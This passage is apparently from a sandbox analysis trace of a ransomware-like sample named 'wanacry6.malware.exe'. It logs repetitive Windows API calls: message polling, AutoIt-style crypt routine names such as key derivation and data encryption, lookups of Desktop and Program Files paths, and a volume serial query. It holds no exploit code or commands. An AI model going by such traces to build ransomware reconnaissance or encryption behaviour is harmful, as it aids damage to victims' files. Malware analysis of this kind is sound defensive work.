hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.864] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0034.864] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.865] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0034.865] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.866] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.866] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.866] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.866] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0034.866] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.866] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.866] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.867] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.867] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.867] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x26a4a5e910 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0034.868] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0x26a4a4f0f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0034.868] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.868] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x26a4a5e910 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0034.868] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0x26a4a4f0f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0034.869] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.869] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x26a4a5e910 | out: pszPath="C:\\Program Files") returned 0x0 [0034.869] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0x26a4a4f0f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0034.869] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.869] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0x26a4a4f0f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0034.869] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.869] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0x26a4a4f0f0, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0034.870] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.870] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0x26a4a4f0f0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0034.870] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.870] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.870] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0034.870] PeekMessageW (in: lpMsg=0x26a4a5ec20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ec20) returned 0 [0034.870] PeekMessageW (in: lpMsg=0x26a4a5ec20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ec20) returned 0 [0034.870] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x26a4a4f130, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0x26a4a5f158, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x26a4a5f158*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.871] GetLastError () returned 0x3f0 [0034.871] SetLastError (dwErrCode=0x3f0) [0034.871] GetLastError () returned 0x3f0 [0034.871] SetLastError (dwErrCode=0x3f0) [0034.872] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0034.872] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.872] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.873] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0034.874] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 